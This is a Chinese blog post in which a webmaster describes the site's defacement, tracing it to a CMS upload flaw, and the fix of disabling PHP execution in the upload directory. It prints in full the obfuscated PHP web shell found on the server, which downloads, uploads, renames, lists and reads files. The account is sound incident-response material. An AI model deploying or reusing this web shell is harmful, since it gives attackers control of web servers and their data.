记一次官网被黑的经历
今天下午五点左右收到通知说微信公众号的官网链接被限制访问了,上线一看,官网被黑了,百度通过关键字搜到官网条目,点进去直接跳转到一个博彩网站,这就尴尬了,才一天不上班网站就被黑出翔,实在蛋疼。
于是百度搜解决方案,查看网站首页源代码,发现不对劲
上服务器一看,几乎整个网站根目录都被替换了
原本正常代码目录应该是这样的
正常的index.php的内容应该如下
结果现在的网站目录变成这样了
目录无变化,但是文件TMD除了index.php以外其他文件都没了,这就尴尬了
查看现在的index.php的内容
直接变成个html文档了我去。
然后把出文件全部替换回来,网站恢复正常
接下来寻找被黑原因
进服务器执行history命令查看操作命令
未发现异常
推测不是ssh被攻破
是网站代码问题
很有可能是cms的漏洞
在网站根目录通过find ./ -mtime -l 命令查看最近24小时修改过的文件
发现upload目录下有修改过的文件,进去查看
发现被人上传了个脚本,很郁闷,之前没查看上传接口,原来这CMS不做上传防御的,不做防御就算了,上传文件之后还不会自动把文件重命名的,这游戏能玩?
查看了下脚本内容
最后清除了脚本后,亡羊补牢,设置nginx在上传目录下禁止执行php文件
调整了下攻击脚本的格式,内容如下
<?php
error_reporting(0);
$sr="st"./*+/*+*/"rr"/*+/*+*/."ev";
$id=$sr/*+/*+*/("ri"."d_"."si");
$rn=$sr/*+/*+*/("em"."an"."er");
$dn=$sr/*+/*+*/("em"."anr"."id");
$od=$sr/*+/*+*/("ri"."dne"."po");
$rd=$sr/*+/*+*/("ri"."dda"."er");
$cd=$sr/*+/*+*/("ri"."deso"."lc");
$fpc=$sr/*+/*+*/("stn"."etn"."oc_t"."up_e"."lif");
$fgc=$sr/*+/*+*/("stn"."etn"."oc_t"."eg_e"."lif");
$muf=$sr/*+/*+*/("eli"."f_d"."eda"."olp"."u_e"."vom");
$dlform='<form method="post">
FN:<input name="fn" size="20" type="text">
URL:<input name="url" size="50" type="text">
<input type="submit" value="ok">
</form>';
$ulform='<form method="post" enctype="multipart/form-data">
<input name="uf" type="file">
SP:<input name="sp" size="50" type="text">
<input type="submit" value="ok">
</form>';
$rnform='<form method="post">
ON:<input name="on" size="50" type="text">
NN:<input name="nn" size="50" type="text">
<input type="submit" value="ok"></form>';
$lpform='<form method="post">
DP:<input name="dp" size="50" type="text">
<input type="submit" value="ok">
</form>';
$sfform='<form method="post">
DF:<input name="df" size="50" type="text">
<input type="submit" value="ok">
</form>';
if($_GET['act']=='dl')
{
echo($dlform);
if($_SERVER['REQUEST_METHOD']=='POST')
{
$fpc/*+/*+*/($_POST['fn'],$fgc/*+/*+*/($_POST['url']));
}
exit;
}
if($_GET['act']=='ul')
{
echo($ulform);
if($_SERVER['REQUEST_METHOD']=='POST')
{
$sp=empty($_POST['sp'])?'./':$_POST['sp'].'/';$muf/*+/*+*/($/*+/*+*/{"_F"."IL"."ES"}["uf"]["tmp_name"],$sp.$/*+/*+*/{"_F"."IL"."ES"}["uf"]["name"]);
}
exit;
}
if($_GET['act']=='rn'){
echo($rnform);
if($_SERVER['REQUEST_METHOD']=='POST')
{
$rn/*+/*+*/($_POST['on'],$_POST['nn']);
}
exit;
}
if($_GET['act']=='gp')
{
echo($dn/*+/*+*/(__FILE__));
exit;
}
if($_GET['act']=='lp')
{
echo($lpform);
if($_SERVER['REQUEST_METHOD']=='POST')
{
$dp=$_POST['dp'].'/';
$h=$od/*+/*+*/($dp);
while(($fn=$rd/*+/*+*/($h))!==false)
{
if($id/*+/*+*/($dp.$fn))
{
$t1.='D '.$fn.'<br>';
} else {
$t2.=' '.$fn.'<br>';
}
}
$cd/*+/*+*/($dp);
echo($dp.'<br>'.$t1.$t2);
}
exit;
}
if($_GET['act']=='sf')
{echo($sfform);
if($_SERVER['REQUEST_METHOD']=='POST')
{
$df=$_POST['df'];
echo('<textarea style="width:100%;height:100%;" wrap="off">'.$fgc/*+/*+*/($df).'</textarea>');
}
exit;
}
?>
看着这攻击脚本有点疑问,看不太懂,希望有能看懂的同学一起交流下,另外脚本有大段的./+/+*/ 这种注释,这种注释到底有什么用,或者说,这不仅仅是注释?还请有明白的同学指点一番
本作品采用《CC 协议》,转载必须注明作者和本文链接
推荐文章: